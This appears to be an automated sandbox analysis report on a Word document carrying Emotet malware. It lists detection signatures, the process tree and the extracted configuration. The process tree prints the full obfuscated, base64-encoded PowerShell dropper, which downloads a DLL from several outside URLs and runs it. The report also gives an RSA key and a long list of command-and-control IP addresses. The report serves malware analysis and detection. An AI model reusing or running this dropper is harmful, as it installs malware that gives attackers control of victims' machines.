Play interactive tour

Edit tour

Analysis Report Io8ic2291n

Overview

General Information

Sample Name:	Io8ic2291n (renamed file extension from none to doc)
Analysis ID:	351824
MD5:	c407d761ae02cc9327c0032e12eee614
SHA1:	deaac3a40a855a36516a6a774e8f5e4683b4dca0
SHA256:	7236c54fca0b5d561a4194766f1b47882c7c44670b2a3952e1474cd4b9025214
Most interesting Screenshot:

Detection

Emotet

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Yara detected Emotet

C2 URLs / IPs found in malware configuration

Creates processes via WMI

Document contains an embedded VBA with many GOTO operations indicating source code obfuscation

Document contains an embedded VBA with many randomly named variables

Encrypted powershell cmdline option found

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for dropped file

Obfuscated command line found

Potential dropper URLs found in powershell memory

Powershell drops PE file

Sigma detected: Suspicious Call by Ordinal

Sigma detected: Suspicious Encoded PowerShell Command Line

Suspicious powershell command line found

Very long command line found

Abnormal high CPU Usage

Adds / modifies Windows certificates

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Connects to several IPs in different countries

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Document contains embedded VBA macros

Document has an unknown application name

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops certificate files (DER)

Enables debug privileges

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Startup

System is w7x64

WINWORD.EXE (PID: 1664 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)

cmd.exe (PID: 2424 cmdline: cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgAFMARQBUAC0AaQBUAGUATQAgACAAdgBhAHIASQBhAEIATABFADoAUABHAEIAIAAgACgAIABbAFQAWQBQAGUAXQAoACIAewAyAH0AewA0AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AIgAgAC0AZgAnAC4ARABpAHIAJwAsACcAbQAuAEkATwAnACwAJwBTAHkAJwAsACcARQBDAFQAbwBSAHkAJwAsACcAUwB0ACcALAAnAEUAJwApACkAOwAgAHMARQBUACAAKAAnADIAOQB4ACcAKwAnAGQAJwArACcANABNACcAKQAgACAAKAAgAFsAVABZAHAARQBdACgAIgB7ADcAfQB7ADEAfQB7ADIAfQB7ADMAfQB7ADYAfQB7ADQAfQB7ADAAfQB7ADUAfQAiACAALQBmACcATgBhACcALAAnAHkAcwAnACwAJwBUAGUATQAuAE4ARQB0ACcALAAnAC4AUwBFAHIAVgBpACcALAAnAGUAUABPAGkAbgBUAG0AQQAnACwAJwBHAGUAUgAnACwAJwBDACcALAAnAHMAJwApACAAIAApADsAJABYAGoAYgA2AHUAdQA5AD0AJABTAF8ANwBXACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABDADkANgBaADsAJABBADIAOQBZAD0AKAAoACcAVAAnACsAJwA2ADUAJwApACsAJwBRACcAKQA7ACAAIAAkAHAAZwBCADoAOgAiAGMAcgBgAEUAYQBUAGAAZQBEAEkAcgBgAEUAYwB0AGAAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBkAGIAJwArACgAJwB6AFYAbAAnACsAJwBqADAAdABhADAAZAAnACkAKwAnAGIAegAnACsAKAAnAE0AJwArACcAdABrAGQANAAnACsAJwB5ADAAJwApACsAKAAnAGQAYgAnACsAJwB6ACcAKQApAC4AIgByAGAARQBgAFAATABBAGMAZQAiACgAKABbAGMASABhAFIAXQAxADAAMAArAFsAYwBIAGEAUgBdADkAOAArAFsAYwBIAGEAUgBdADEAMgAyACkALAAnAFwAJwApACkAKQA7ACQAWAAxADMASAA9ACgAKAAnAFQAJwArACcANgA2ACcAKQArACcATAAnACkAOwAgACAAKABWAGEAUgBpAEEAQgBMAGUAIAAoACcAMgA5AHgAJwArACcAZAAnACsAJwA0AE0AJwApACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBTAGUAQwBVAFIAYABJAFQAWQBgAFAAYABSAGAATwBUAE8AQwBPAEwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAnACsAJwAxADIAJwApACkAOwAkAEUAMwA0AFEAPQAoACgAJwBRAF8AJwArACcAMQAnACkAKwAnAEwAJwApADsAJABJADMAbABhAGEAMgAzACAAPQAgACgAKAAnAE8AOAAnACsAJwBfACcAKQArACcATgAnACkAOwAkAFcAOQA2AFkAPQAoACgAJwBQACcAKwAnADUAMQAnACkAKwAnAEQAJwApADsAJABJAHEANgByAGYAZwAwAD0AJABIAE8ATQBFACsAKAAoACgAJwBvACcAKwAnADYAbgBWACcAKQArACgAJwBsAGoAMAB0ACcAKwAnAGEAMABvACcAKQArACcANgBuACcAKwAnAE0AdAAnACsAKAAnAGsAZAAnACsAJwA0ACcAKQArACgAJwB5ACcAKwAnADAAbwA2ACcAKQArACcAbgAnACkALQBjAHIARQBQAGwAQQBDAEUAIAAgACgAWwBjAGgAQQByAF0AMQAxADEAKwBbAGMAaABBAHIAXQA1ADQAKwBbAGMAaABBAHIAXQAxADEAMAApACwAWwBjAGgAQQByAF0AOQAyACkAKwAkAEkAMwBsAGEAYQAyADMAKwAoACcALgAnACsAKAAnAGQAbAAnACsAJwBsACcAKQApADsAJABTADgANABCAD0AKAAnAE8AJwArACgAJwAzADIAJwArACcASQAnACkAKQA7ACQATwB6AHgAOQB4AGsAZAA9ACgAJwBzACcAKwAnAGcAJwArACgAJwAgAHkAdwAnACsAJwAgAGEAJwArACcAaAAnACsAJwA6ACcAKwAnAC8ALwByAGkAYQBuAGQAdQB0ACcAKQArACgAJwByACcAKwAnAGEALgBjAG8AbQAvAGUAJwApACsAJwBtACcAKwAnAGEAJwArACgAJwBpAGwALwAnACsAJwBBACcAKwAnAGYAaABFADgAegAwAC8AJwApACsAKAAnAEAAcwAnACsAJwBnACAAeQB3ACcAKQArACgAJwAgAGEAJwArACcAaAA6ACcAKQArACcALwAvACcAKwAnAGMAJwArACgAJwBhAGwAJwArACcAbABlACcAKwAnAGQAdABvAGMAaAAnACsAJwBhACcAKQArACgAJwBuAGcAZQAnACsAJwAuAG8AcgBnACcAKwAnAC8AQwAnACkAKwAnAGEAJwArACgAJwBsACcAKwAnAGwAZQBkAHQAJwApACsAJwBvACcAKwAnAEMAJwArACcAaAAnACsAKAAnAGEAbgAnACsAJwBnACcAKQArACgAJwBlAC8AOABoAHUAUwAnACsAJwBPACcAKwAnAGQALwAnACkAKwAoACcAQABzACcAKwAnAGcAIAB5AHcAJwApACsAKAAnACAAYQBoACcAKwAnAHMAOgAvACcAKwAnAC8AbQAnACsAJwByAHYAZQBnAGcAeQAuAGMAJwArACcAbwBtAC8AdwBwAC0AYQBkAG0AaQAnACsAJwBuACcAKQArACgAJwAvACcAKwAnAG4ALwBAACcAKQArACcAcwAnACsAKAAnAGcAIAB5AHcAJwArACcAIABhACcAKQArACcAaAAnACsAJwBzACcAKwAoACcAOgAnACsAJwAvAC8AbgAnACkAKwAoACcAbwByAGEAaQBsACcAKwAnAHkAJwApACsAJwBhACcAKwAoACcALgAnACsAJwBjAG8AJwArACcAbQAvAGQAcgAnACkAKwAnAHUAcAAnACsAKAAnAGEAbAAnACsAJwAvACcAKQArACgAJwByACcAKwAnAGUAdABBACcAKQArACcAbAAnACsAKAAnAC8AJwArACcAQABzAGcAJwApACsAJwAgAHkAJwArACgAJwB3ACAAYQBoAHMAOgAnACsAJwAvACcAKQArACcALwAnACsAKAAnAGgAYgBwAHIAaQB2AGkAJwArACcAbAAnACsAJwBlACcAKwAnAGcAJwApACsAJwBlACcAKwAnAGQALgAnACsAJwBjAG8AJwArACgAJwBtAC8AYwBnACcAKwAnAGkALQBiAGkAbgAnACsAJwAvAFEAZwAnACkAKwAoACcALwBAAHMAJwArACcAZwAgAHkAJwArACcAdwAnACkAKwAoACcAIAAnACsAJwBhAGgAcwAnACkAKwAnADoAJwArACcALwAvACcAKwAnAHUAJwArACcAbQBtACcAKwAoACcAYQBoAHMAdABhAHIAJwArACcAcwAuACcAKwAnAGMAbwBtACcAKQArACcALwAnACsAKAAnAGEAcAAnACsAJwBwAF8AJwApACsAJwBvACcAKwAoACcAbABkAF8AJwArACcAbQAnACkAKwAoACcAYQB5AF8AJwArACcAMgAnACkAKwAnADAAJwArACgAJwAxADgAJwArACcALwAnACkAKwAoACcAYQBzACcAKwAnAHMAZQB0AHMAJwApACsAKAAnAC8AJwArACcAdwBEAEwAOAAnACsAJwB4ACcAKQArACcALwAnACsAKAAnAEAAcwAnACsAJwBnACAAJwApACsAKAAnAHkAJwArACcAdwAgACcAKQArACgAJwBhAGgAJwArACcAcwAnACkAKwAnADoAJwArACgAJwAvAC8AdwB3AHcAJwArACcALgAnACkAKwAnAHQAJwArACcAZQBlACcAKwAoACcAbABlAGsAZAAnACsAJwBlAGQAJwArACcALgBjAG8AbQAvACcAKQArACgAJwBjAGcAJwArACcAaQAtAGIAaQAnACsAJwBuACcAKQArACcALwAnACsAKAAnAEwAUAAnACsAJwBvAC8AJwApACkALgAiAFIAYABlAHAAYABsAEEAYwBFACIAKAAoACcAcwAnACsAKAAnAGcAJwArACcAIAB5AHcAIAAnACsAJwBhACcAKQArACcAaAAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACcAZAAnACsAKAAnAHMAZQAnACsAJwB3AGYAJwApACkALAAoACcAdwAnACsAKAAnAGUAJwArACcAdgB3AGUAJwApACkAKQAsACgAJwBhACcAKwAoACcAZQBmACcAKwAnAGYAJwApACkALAAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQApACkAWwAyAF0AKQAuACIAcwBQAGAAbABpAFQAIgAoACQAVAA5ADIAVgAgACsAIAAkAFgAagBiADYAdQB1ADkAIAArACAAJABVADUAXwBXACkAOwAkAEYAMQA4AEgAPQAoACcAWQAnACsAKAAnADEANwAnACsAJwBYACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABIADIAMAA5AG0AMwA0ACAAaQBuACAAJABPAHoAeAA5AHgAawBkACkAewB0AHIAeQB7ACgALgAoACcATgBlACcAKwAnAHcALQBPAGIAJwArACcAagBlAGMAdAAnACkAIABzAFkAUwB0AEUATQAuAE4ARQBUAC4AVwBFAEIAYwBsAGkARQBOAFQAKQAuACIARABvAHcAYABOAEwATwBBAEQAYABGAEkAYABsAEUAIgAoACQASAAyADAAOQBtADMANAAsACAAJABJAHEANgByAGYAZwAwACkAOwAkAFYAMwAyAEUAPQAoACgAJwBYACcAKwAnADcAMQAnACkAKwAnAEcAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAEkAcQA2AHIAZgBnADAAKQAuACIATABlAE4AYABnAHQASAAiACAALQBnAGUAIAAzADQAMgA1ADgAKQAgAHsALgAoACcAcgAnACsAJwB1AG4AZABsAGwAMwAnACsAJwAyACcAKQAgACQASQBxADYAcgBmAGcAMAAsACgAJwBTAGgAJwArACgAJwBvAHcARAAnACsAJwBpACcAKQArACcAYQAnACsAKAAnAGwAbwBnACcAKwAnAEEAJwApACkALgAiAHQAYABPAFMAVABgAFIAaQBOAEcAIgAoACkAOwAkAFAAOAA5AEcAPQAoACcAUwA4ACcAKwAnADEAVAAnACkAOwBiAHIAZQBhAGsAOwAkAEsAMgAwAEcAPQAoACcAQgAnACsAKAAnADEAJwArACcAMgBHACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTADMAMwBaAD0AKAAnAFEAJwArACgAJwBfADUAJwArACcAQQAnACkAKQA= MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

msg.exe (PID: 1320 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)

powershell.exe (PID: 1100 cmdline: powershell -w hidden -enc IAAgAFMARQBUAC0AaQBUAGUATQAgACAAdgBhAHIASQBhAEIATABFADoAUABHAEIAIAAgACgAIABbAFQAWQBQAGUAXQAoACIAewAyAH0AewA0AH0AewA1AH0AewAxAH0AewAwAH0AewAzAH0AIgAgAC0AZgAnAC4ARABpAHIAJwAsACcAbQAuAEkATwAnACwAJwBTAHkAJwAsACcARQBDAFQAbwBSAHkAJwAsACcAUwB0ACcALAAnAEUAJwApACkAOwAgAHMARQBUACAAKAAnADIAOQB4ACcAKwAnAGQAJwArACcANABNACcAKQAgACAAKAAgAFsAVABZAHAARQBdACgAIgB7ADcAfQB7ADEAfQB7ADIAfQB7ADMAfQB7ADYAfQB7ADQAfQB7ADAAfQB7ADUAfQAiACAALQBmACcATgBhACcALAAnAHkAcwAnACwAJwBUAGUATQAuAE4ARQB0ACcALAAnAC4AUwBFAHIAVgBpACcALAAnAGUAUABPAGkAbgBUAG0AQQAnACwAJwBHAGUAUgAnACwAJwBDACcALAAnAHMAJwApACAAIAApADsAJABYAGoAYgA2AHUAdQA5AD0AJABTAF8ANwBXACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABDADkANgBaADsAJABBADIAOQBZAD0AKAAoACcAVAAnACsAJwA2ADUAJwApACsAJwBRACcAKQA7ACAAIAAkAHAAZwBCADoAOgAiAGMAcgBgAEUAYQBUAGAAZQBEAEkAcgBgAEUAYwB0AGAAbwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwBkAGIAJwArACgAJwB6AFYAbAAnACsAJwBqADAAdABhADAAZAAnACkAKwAnAGIAegAnACsAKAAnAE0AJwArACcAdABrAGQANAAnACsAJwB5ADAAJwApACsAKAAnAGQAYgAnACsAJwB6ACcAKQApAC4AIgByAGAARQBgAFAATABBAGMAZQAiACgAKABbAGMASABhAFIAXQAxADAAMAArAFsAYwBIAGEAUgBdADkAOAArAFsAYwBIAGEAUgBdADEAMgAyACkALAAnAFwAJwApACkAKQA7ACQAWAAxADMASAA9ACgAKAAnAFQAJwArACcANgA2ACcAKQArACcATAAnACkAOwAgACAAKABWAGEAUgBpAEEAQgBMAGUAIAAoACcAMgA5AHgAJwArACcAZAAnACsAJwA0AE0AJwApACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBTAGUAQwBVAFIAYABJAFQAWQBgAFAAYABSAGAATwBUAE8AQwBPAEwAIgAgAD0AIAAoACcAVABsACcAKwAoACcAcwAnACsAJwAxADIAJwApACkAOwAkAEUAMwA0AFEAPQAoACgAJwBRAF8AJwArACcAMQAnACkAKwAnAEwAJwApADsAJABJADMAbABhAGEAMgAzACAAPQAgACgAKAAnAE8AOAAnACsAJwBfACcAKQArACcATgAnACkAOwAkAFcAOQA2AFkAPQAoACgAJwBQACcAKwAnADUAMQAnACkAKwAnAEQAJwApADsAJABJAHEANgByAGYAZwAwAD0AJABIAE8ATQBFACsAKAAoACgAJwBvACcAKwAnADYAbgBWACcAKQArACgAJwBsAGoAMAB0ACcAKwAnAGEAMABvACcAKQArACcANgBuACcAKwAnAE0AdAAnACsAKAAnAGsAZAAnACsAJwA0ACcAKQArACgAJwB5ACcAKwAnADAAbwA2ACcAKQArACcAbgAnACkALQBjAHIARQBQAGwAQQBDAEUAIAAgACgAWwBjAGgAQQByAF0AMQAxADEAKwBbAGMAaABBAHIAXQA1ADQAKwBbAGMAaABBAHIAXQAxADEAMAApACwAWwBjAGgAQQByAF0AOQAyACkAKwAkAEkAMwBsAGEAYQAyADMAKwAoACcALgAnACsAKAAnAGQAbAAnACsAJwBsACcAKQApADsAJABTADgANABCAD0AKAAnAE8AJwArACgAJwAzADIAJwArACcASQAnACkAKQA7ACQATwB6AHgAOQB4AGsAZAA9ACgAJwBzACcAKwAnAGcAJwArACgAJwAgAHkAdwAnACsAJwAgAGEAJwArACcAaAAnACsAJwA6ACcAKwAnAC8ALwByAGkAYQBuAGQAdQB0ACcAKQArACgAJwByACcAKwAnAGEALgBjAG8AbQAvAGUAJwApACsAJwBtACcAKwAnAGEAJwArACgAJwBpAGwALwAnACsAJwBBACcAKwAnAGYAaABFADgAegAwAC8AJwApACsAKAAnAEAAcwAnACsAJwBnACAAeQB3ACcAKQArACgAJwAgAGEAJwArACcAaAA6ACcAKQArACcALwAvACcAKwAnAGMAJwArACgAJwBhAGwAJwArACcAbABlACcAKwAnAGQAdABvAGMAaAAnACsAJwBhACcAKQArACgAJwBuAGcAZQAnACsAJwAuAG8AcgBnACcAKwAnAC8AQwAnACkAKwAnAGEAJwArACgAJwBsACcAKwAnAGwAZQBkAHQAJwApACsAJwBvACcAKwAnAEMAJwArACcAaAAnACsAKAAnAGEAbgAnACsAJwBnACcAKQArACgAJwBlAC8AOABoAHUAUwAnACsAJwBPACcAKwAnAGQALwAnACkAKwAoACcAQABzACcAKwAnAGcAIAB5AHcAJwApACsAKAAnACAAYQBoACcAKwAnAHMAOgAvACcAKwAnAC8AbQAnACsAJwByAHYAZQBnAGcAeQAuAGMAJwArACcAbwBtAC8AdwBwAC0AYQBkAG0AaQAnACsAJwBuACcAKQArACgAJwAvACcAKwAnAG4ALwBAACcAKQArACcAcwAnACsAKAAnAGcAIAB5AHcAJwArACcAIABhACcAKQArACcAaAAnACsAJwBzACcAKwAoACcAOgAnACsAJwAvAC8AbgAnACkAKwAoACcAbwByAGEAaQBsACcAKwAnAHkAJwApACsAJwBhACcAKwAoACcALgAnACsAJwBjAG8AJwArACcAbQAvAGQAcgAnACkAKwAnAHUAcAAnACsAKAAnAGEAbAAnACsAJwAvACcAKQArACgAJwByACcAKwAnAGUAdABBACcAKQArACcAbAAnACsAKAAnAC8AJwArACcAQABzAGcAJwApACsAJwAgAHkAJwArACgAJwB3ACAAYQBoAHMAOgAnACsAJwAvACcAKQArACcALwAnACsAKAAnAGgAYgBwAHIAaQB2AGkAJwArACcAbAAnACsAJwBlACcAKwAnAGcAJwApACsAJwBlACcAKwAnAGQALgAnACsAJwBjAG8AJwArACgAJwBtAC8AYwBnACcAKwAnAGkALQBiAGkAbgAnACsAJwAvAFEAZwAnACkAKwAoACcALwBAAHMAJwArACcAZwAgAHkAJwArACcAdwAnACkAKwAoACcAIAAnACsAJwBhAGgAcwAnACkAKwAnADoAJwArACcALwAvACcAKwAnAHUAJwArACcAbQBtACcAKwAoACcAYQBoAHMAdABhAHIAJwArACcAcwAuACcAKwAnAGMAbwBtACcAKQArACcALwAnACsAKAAnAGEAcAAnACsAJwBwAF8AJwApACsAJwBvACcAKwAoACcAbABkAF8AJwArACcAbQAnACkAKwAoACcAYQB5AF8AJwArACcAMgAnACkAKwAnADAAJwArACgAJwAxADgAJwArACcALwAnACkAKwAoACcAYQBzACcAKwAnAHMAZQB0AHMAJwApACsAKAAnAC8AJwArACcAdwBEAEwAOAAnACsAJwB4ACcAKQArACcALwAnACsAKAAnAEAAcwAnACsAJwBnACAAJwApACsAKAAnAHkAJwArACcAdwAgACcAKQArACgAJwBhAGgAJwArACcAcwAnACkAKwAnADoAJwArACgAJwAvAC8AdwB3AHcAJwArACcALgAnACkAKwAnAHQAJwArACcAZQBlACcAKwAoACcAbABlAGsAZAAnACsAJwBlAGQAJwArACcALgBjAG8AbQAvACcAKQArACgAJwBjAGcAJwArACcAaQAtAGIAaQAnACsAJwBuACcAKQArACcALwAnACsAKAAnAEwAUAAnACsAJwBvAC8AJwApACkALgAiAFIAYABlAHAAYABsAEEAYwBFACIAKAAoACcAcwAnACsAKAAnAGcAJwArACcAIAB5AHcAIAAnACsAJwBhACcAKQArACcAaAAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACcAZAAnACsAKAAnAHMAZQAnACsAJwB3AGYAJwApACkALAAoACcAdwAnACsAKAAnAGUAJwArACcAdgB3AGUAJwApACkAKQAsACgAJwBhACcAKwAoACcAZQBmACcAKwAnAGYAJwApACkALAAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQApACkAWwAyAF0AKQAuACIAcwBQAGAAbABpAFQAIgAoACQAVAA5ADIAVgAgACsAIAAkAFgAagBiADYAdQB1ADkAIAArACAAJABVADUAXwBXACkAOwAkAEYAMQA4AEgAPQAoACcAWQAnACsAKAAnADEANwAnACsAJwBYACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABIADIAMAA5AG0AMwA0ACAAaQBuACAAJABPAHoAeAA5AHgAawBkACkAewB0AHIAeQB7ACgALgAoACcATgBlACcAKwAnAHcALQBPAGIAJwArACcAagBlAGMAdAAnACkAIABzAFkAUwB0AEUATQAuAE4ARQBUAC4AVwBFAEIAYwBsAGkARQBOAFQAKQAuACIARABvAHcAYABOAEwATwBBAEQAYABGAEkAYABsAEUAIgAoACQASAAyADAAOQBtADMANAAsACAAJABJAHEANgByAGYAZwAwACkAOwAkAFYAMwAyAEUAPQAoACgAJwBYACcAKwAnADcAMQAnACkAKwAnAEcAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAEkAcQA2AHIAZgBnADAAKQAuACIATABlAE4AYABnAHQASAAiACAALQBnAGUAIAAzADQAMgA1ADgAKQAgAHsALgAoACcAcgAnACsAJwB1AG4AZABsAGwAMwAnACsAJwAyACcAKQAgACQASQBxADYAcgBmAGcAMAAsACgAJwBTAGgAJwArACgAJwBvAHcARAAnACsAJwBpACcAKQArACcAYQAnACsAKAAnAGwAbwBnACcAKwAnAEEAJwApACkALgAiAHQAYABPAFMAVABgAFIAaQBOAEcAIgAoACkAOwAkAFAAOAA5AEcAPQAoACcAUwA4ACcAKwAnADEAVAAnACkAOwBiAHIAZQBhAGsAOwAkAEsAMgAwAEcAPQAoACcAQgAnACsAKAAnADEAJwArACcAMgBHACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTADMAMwBaAD0AKAAnAFEAJwArACgAJwBfADUAJwArACcAQQAnACkAKQA= MD5: 852D67A27E454BD389FA7F02A8CBE23F)

rundll32.exe (PID: 2696 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll ShowDialogA MD5: DD81D91FF3B0763C392422865C9AC12E)

rundll32.exe (PID: 2724 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll ShowDialogA MD5: 51138BEEA3E2C21EC44D0932C71762A8)

rundll32.exe (PID: 1980 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)

rundll32.exe (PID: 2452 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gyuopigcwtoen\gfvxluzjzkjy.upj',FOsZnZScT MD5: 51138BEEA3E2C21EC44D0932C71762A8)

rundll32.exe (PID: 2964 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gyuopigcwtoen\gfvxluzjzkjy.upj',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)

rundll32.exe (PID: 852 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ofzzkuwngkcnufwj\wvmgxwsmudidtny.hvy',nQAMXkchr MD5: 51138BEEA3E2C21EC44D0932C71762A8)

rundll32.exe (PID: 2280 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ofzzkuwngkcnufwj\wvmgxwsmudidtny.hvy',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)

rundll32.exe (PID: 620 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wjzei\rjte.fnz',ggJG MD5: 51138BEEA3E2C21EC44D0932C71762A8)

rundll32.exe (PID: 1924 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wjzei\rjte.fnz',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)

rundll32.exe (PID: 2744 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Hrjzsjr\mlycub.kot',dIFPdOFPiwZFUl MD5: 51138BEEA3E2C21EC44D0932C71762A8)

rundll32.exe (PID: 2176 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Hrjzsjr\mlycub.kot',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)

rundll32.exe (PID: 532 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Cqtptfsfibbnlgn\rmzbyllndllgsq.bnt',OpIYBjvoaiwa MD5: 51138BEEA3E2C21EC44D0932C71762A8)

rundll32.exe (PID: 2104 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Cqtptfsfibbnlgn\rmzbyllndllgsq.bnt',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)

cleanup

Malware Configuration

Threatname: Emotet

{"RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAOZ9fLJ8UrI0OZURpPsR3eijAyfPj3z6\nuS75f2igmYFW2aWgNcFIzsAYQleKzD0nlCFHOo7Zf8/4wY2UW0CJ4dJEHnE/PHlz\n6uNk3pxjm7o4eCDyiJbzf+k0Azjl0q54FQIDAQAB", "C2 list": ["84.232.229.24:80", "51.255.203.164:8080", "217.160.169.110:8080", "51.15.7.145:80", "177.85.167.10:80", "186.177.174.163:80", "190.114.254.163:8080", "185.183.16.47:80", "149.202.72.142:7080", "181.30.61.163:443", "31.27.59.105:80", "50.28.51.143:8080", "68.183.190.199:8080", "85.214.26.7:8080", "137.74.106.111:7080", "200.75.39.254:80", "85.105.239.184:443", "190.45.24.210:80", "170.81.48.2:80", "109.101.137.162:8080", "110.39.160.38:443", "110.39.162.2:443", "91.233.197.70:80", "51.255.165.160:8080", "213.52.74.198:80", "12.162.84.2:8080", "82.208.146.142:7080", "60.93.23.51:80", "172.245.248.239:8080", "104.131.41.185:8080", "93.149.120.214:80", "81.214.253.80:443", "190.247.139.101:80", "46.105.114.137:8080", "70.32.115.157:8080", "202.134.4.210:7080", "212.71.237.140:8080", "177.23.7.151:80", "111.67.12.221:8080", "197.232.36.108:80", "190.162.232.138:80", "80.15.100.37:80", "95.76.153.115:80", "154.127.113.242:80", "188.225.32.231:7080", "5.196.35.138:7080", "211.215.18.93:8080", "46.101.58.37:8080", "82.48.39.246:80", "181.10.46.92:80", "190.251.216.100:80", "187.162.248.237:80", "191.223.36.170:80", "138.197.99.250:8080", "201.48.121.65:443", "78.206.229.130:80", "190.210.246.253:80", "68.183.170.114:8080", "87.106.46.107:8080", "122.201.23.45:443", "70.32.84.74:8080", "143.0.85.206:7080", "190.64.88.186:443", "217.13.106.14:8080", "93.146.143.191:80", "188.135.15.49:80", "178.211.45.66:8080", "138.97.60.141:7080", "81.17.93.134:80", "83.169.21.32:7080", "152.231.89.226:80", "80.249.176.206:80", "178.250.54.208:8080", "206.189.232.2:8080", "46.43.2.95:8080", "190.24.243.186:80", "105.209.235.113:8080", "62.84.75.50:80", "152.170.79.100:80", "209.236.123.42:8080", "185.94.252.27:443", "12.163.208.58:80", "152.169.22.67:80", "1.226.84.243:8080", "191.241.233.198:80", "94.176.234.118:443", "209.33.120.130:80", "45.16.226.117:443", "81.215.230.173:443", "172.104.169.32:8080", "201.185.69.28:443", "167.71.148.58:443", "192.175.111.212:7080"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
0000000E.00000002.2259337398.0000000010000000.00000040.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000008.00000002.2196520380.0000000010000000.00000040.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000010.00000002.2280487586.0000000000150000.00000040.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000000C.00000002.2237290824.0000000000250000.00000040.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000009.00000002.2205331752.00000000003B0000.00000040.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000009.00000002.2205236491.0000000000200000.00000040.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000008.00000002.2193792895.00000000003B0000.00000040.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000000B.00000002.2227039929.0000000000170000.00000040.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000000D.00000002.2249797577.0000000010000000.00000040.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000000F.00000002.2269533338.00000000003B0000.00000040.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
